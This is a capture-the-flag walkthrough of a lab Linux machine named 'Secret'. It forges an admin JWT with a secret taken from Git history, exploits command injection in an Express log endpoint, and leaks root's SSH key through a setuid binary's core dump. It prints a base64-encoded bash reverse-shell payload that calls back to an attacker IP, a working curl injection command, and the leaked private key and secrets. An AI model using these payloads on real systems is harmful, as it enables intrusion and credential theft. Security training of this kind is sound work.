Secret
9 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.120
- Release: 30 / 10 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.120 -p 22,80,3000
Nmap scan report for 10.10.11.120
Host is up (0.063s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 15.70 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 3000 (HTTP) open.
Web enumeration
On port 80 we have the documentation of an API. The same applies for port 3000:
Reading the documentation, we see that they are using Express JS and MongoDB in Node.js. Moreover, they handle authentication and authorization using JSON Web Token (JWT):
They provide three main endpoints: /api/user/register
, /api/user/login
and /api/priv
. Some requests exmaples are shown in the following images:
It seems clear that the attack vector is something about JWT. We can try to use the password shown in one of the examples to login as dasith
, but it does not work.
Static code analysis
On the main page, we can download a ZIP file with the source code of the API:
This ZIP file contains the following source files:
$ cd local-web
$ tree -I 'node_modules|public'
.
βββ index.js
βββ model
βΒ Β βββ user.js
βββ package-lock.json
βββ package.json
βββ routes
βΒ Β βββ auth.js
βΒ Β βββ forgot.js
βΒ Β βββ private.js
βΒ Β βββ verifytoken.js
βββ src
βΒ Β βββ routes
βΒ Β βΒ Β βββ web.js
βΒ Β βββ views
βΒ Β βββ 404.ejs
βΒ Β βββ doc.ejs
βΒ Β βββ home.ejs
βββ validations.js
5 directories, 13 files
Then we can start analyzing the code. It seems that there is yet another endpoint, but only for user theadmin
:
router.get('/logs', verifytoken, (req, res) => {
const file = req.query.file
const userinfo = { name: req.user }
const name = userinfo.name.name
if (name === 'theadmin') {
const getLogs = `git log --oneline ${file}`
exec(getLogs, (err, output) => {
if (err) {
return res.status(500).send(err)
}
res.json(output)
})
} else {
res.json({
role: {
role: 'you are normal user',
desc: userinfo.name.name
}
})
}
})
Here we see that the file
query parameter is vulnerable to command injection, since it is inserted in a system command with no validation. This will be the way to access the machine, but we need a valid JWT token for theadmin
user.
On the other hand, there is a really robust validation on the three endpoints mentioned before:
// register validation
const registerValidation = data => {
const schema = {
name: Joi.string().min(6).required(),
email: Joi.string().min(6).required().email(),
password: Joi.string().min(6).required()
}
return Joi.validate(data, schema)
}
// login validation
const loginValidation = data => {
const schema2 = {
email: Joi.string().min(6).required().email(),
password: Joi.string().min(6).required()
}
return Joi.validate(data, schema2)
}
Then, we cannot exploit a NoSQL injection, because all parameters are correctly validated. Furthermore, the implementation of JWT is correct.
On the project we see a .env
file with the following information:
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
The variable TOKEN_SECRET
is used to sign the JWT tokens. We can try it on the website, but it is invalid.
We can try to make a brute force attack on the token secret using rockyou.txt
in Node.js. Curiously, using the JWT token shown in the API documentation, the secret is example
:
$ node
> const fs = require('fs')
undefined
> const jwt = require('jsonwebtoken')
undefined
> for (const password of fs.readFileSync('rockyou.txt').toString().split('\n')) { try { jwt.verify('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.PFJldSFVDrSoJ-Pg0HOxkGjxQ69gxVO2Kjn7ozw9Crg', password); console.log(password); break } catch (err) { } }
example
undefined
But secret example
does not work on the website. If we try to make a brute force attack on a JWT token of the website after registering a new account, we cannot obtain any valid secret (which means that the secret is not included in rockyou.txt
).
Git project enumeration
On the ZIP file, there is also a .git
folder. This is because the project is controlled by a Git repository. Then, we can try to see if there is sensitive information on previous commits. For example, let’s see the Git history:
$ git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server π
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:29:19 2021 +0530
added /downloads
commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:27:35 2021 +0530
removed swap
commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:26:39 2021 +0530
added downloads
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:25:52 2021 +0530
first commit
We see that the TOKEN_SECRET
was changed in the .env
file in the commit that starts with 67d8da7a
. Then we can see the differences from the previous commit (the one that starts with de0a46b5
) to the current version:
$ git diff -p de0a46b5 | grep TOKEN_SECRET
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
Now we have a large secret that might be the one used in the API. Let’s create a JWT token using this secret then:
> jwt.sign({ _id: '1337', name: 'theadmin', email: 'root@dasith.works' }, 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiIxMzM3IiwibmFtZSI6InRoZWFkbWluIiwiZW1haWwiOiJyb290QGRhc2l0aC53b3JrcyIsImlhdCI6MTYzNjE0MDg0MX0.1VxXuW13J_naXwUAKEPe5O2EMo5GXljVslevhsg4cCQ'
Foothold on the machine
Now we are able to perform a command injection and connect to the machine. For that, we can use a common Bash reverse shell payload encoded in Base64 to prevent character issues:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Now we can perform the command injection by putting a semicolon and then the command (notice that +
is a space in URL encoding):
$ curl '10.10.11.120/api/logs?file=;+echo+YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx+|+base64+-d+|+bash' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiIxMzM3IiwibmFtZSI6InRoZWFkbWluIiwiZW1haWwiOiJyb290QGRhc2l0aC53b3JrcyIsImlhdCI6MTYzNjE0MDg0MX0.1VxXuW13J_naXwUAKEPe5O2EMo5GXljVslevhsg4cCQ'
And we get access as user dasith
from the nc
listener:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.120.
Ncat: Connection from 10.10.11.120:34952.
bash: cannot set terminal process group (1118): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
dasith@secret:~/local-web$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
dasith@secret:~/local-web$ export SHELL=bash
dasith@secret:~/local-web$ export TERM=xterm
dasith@secret:~/local-web$ stty rows 50 columns 158
At this point, we can read the user.txt
flag:
dasith@secret:~/local-web$ cd
dasith@secret:~$ cat user.txt
257020bf6c2e57197510fcb6b5f4726c
Finding a SUID binary
After enumerating the system, we find an SUID binary in /opt/count
:
dasith@secret:~$ find / -perm -4000 2>/dev/null | grep -v snap
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
This is an ELF binary:
dasith@secret:~$ file /opt/count
/opt/count: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=615b7e12374cd1932161a6a9d9a737a63c7be09a, for GNU/Linux 3.2.0, not stripped
Executing the binary let’s us read files as root
user, but the content is not shown, we can see some stats of these files (number of lines, words and letters). We are also able to list the content of some directories as root
user. Then we can output the results to a file, but as dasith
user (privileges are dropped).
Fortunately, we have the source code available in /opt/code.c
:
dasith@secret:~$ ls /opt
code.c count valgrind.log
It does not seem to be vulnerable to Buffer Overflow, Format String or Library Hijacking. But there is something strange in these lines:
// drop privs to limit file write
setuid(getuid());
// Enable coredump generation
prctl(PR_SET_DUMPABLE, 1);
This fragment of code is executed right before writing the results to a file. This is a misconfiguration, since we can crash the program an read the contents of the coredump as dasith
user (which will contain the contents of the previously read file as root
).
Privilege escalation
Using the binary, we can see that root
contains an id_rsa
private key for SSH:
dasith@secret:~$ /opt/count
Enter source file/directory name: /root
-rw-r--r-- .viminfo
drwxr-xr-x ..
-rw-r--r-- .bashrc
drwxr-xr-x .local
drwxr-xr-x snap
lrwxrwxrwx .bash_history
drwx------ .config
drwxr-xr-x .pm2
-rw-r--r-- .profile
drwxr-xr-x .vim
drwx------ .
drwx------ .cache
-r-------- root.txt
drwxr-xr-x .npm
drwx------ .ssh
Total entries = 15
Regular files = 4
Directories = 10
Symbolic links = 1
Save results a file? [y/N]:
dasith@secret:~$ /opt/count
Enter source file/directory name: /root/.ssh
drwx------ ..
-rw------- authorized_keys
-rw------- id_rsa
drwx------ .
-rw-r--r-- id_rsa.pub
Total entries = 5
Regular files = 3
Directories = 2
Symbolic links = 0
Save results a file? [y/N]:
Then we can read this file and then crash the program. To crash it, we can use Control-Z (^Z
) and then kill -SIGSEGV
indicating the process identifier (PID), listed with ps -a
. Then we put the program in foreground and see the message “Segmentation fault (core dumped)”:
dasith@secret:~$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: y
Path: ^Z
[1]+ Stopped /opt/count
dasith@secret:~$ ps -a | grep count
47330 pts/6 00:00:00 count
dasith@secret:~$ kill -SIGSEGV 47330
dasith@secret:~$ fg
/opt/count
Segmentation fault (core dumped)
This error generates a crash file in /var/crash
. Using apport-unpack
we can extract the CoreDump
file and read the contents of /root/.ssh/id_rsa
(because it is the file we read with /opt/count
):
dasith@secret:~$ ls /var/crash
_opt_count.1000.crash
dasith@secret:~$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/.crash
dasith@secret:~$ ls /tmp/.crash
Architecture Date ExecutablePath ProblemType ProcCwd ProcMaps Signal UserGroups
CoreDump DistroRelease ExecutableTimestamp ProcCmdline ProcEnviron ProcStatus Uname
dasith@secret:~$ strings -n 32 /tmp/.crash/CoreDump
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/lib/x86_64-linux-gnu/ld-2.31.so
Please check if file exists and you have read privilege.
Enter source file/directory name:
Path: esults a file? [y/N]: l words = 45
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
DB_CONNECT=mongodb://127.0.0.1:27017/auth-web
unique_id=4594a417-fb89-4a4a-8936-6a56a15fce32
LESSCLOSE=/usr/bin/lesspipe %s %s
TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
pm_pid_path=/home/dasith/.pm2/pids/index-0.pid
pm_err_log_path=/home/dasith/.pm2/logs/index-error.log
pm_exec_path=/home/dasith/local-web/index.js
pm_out_log_path=/home/dasith/.pm2/logs/index-out.log
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
Finally, we can put the key into a file in our machine and connect to the remote machine as root
. Then we can get the root.txt
flag:
$ chmod 600 id_rsa
$ ssh -i id_rsa root@10.10.11.120
root@secret:~# cat /root/root.txt
90fd01f9faa29c802ad279f48224edc8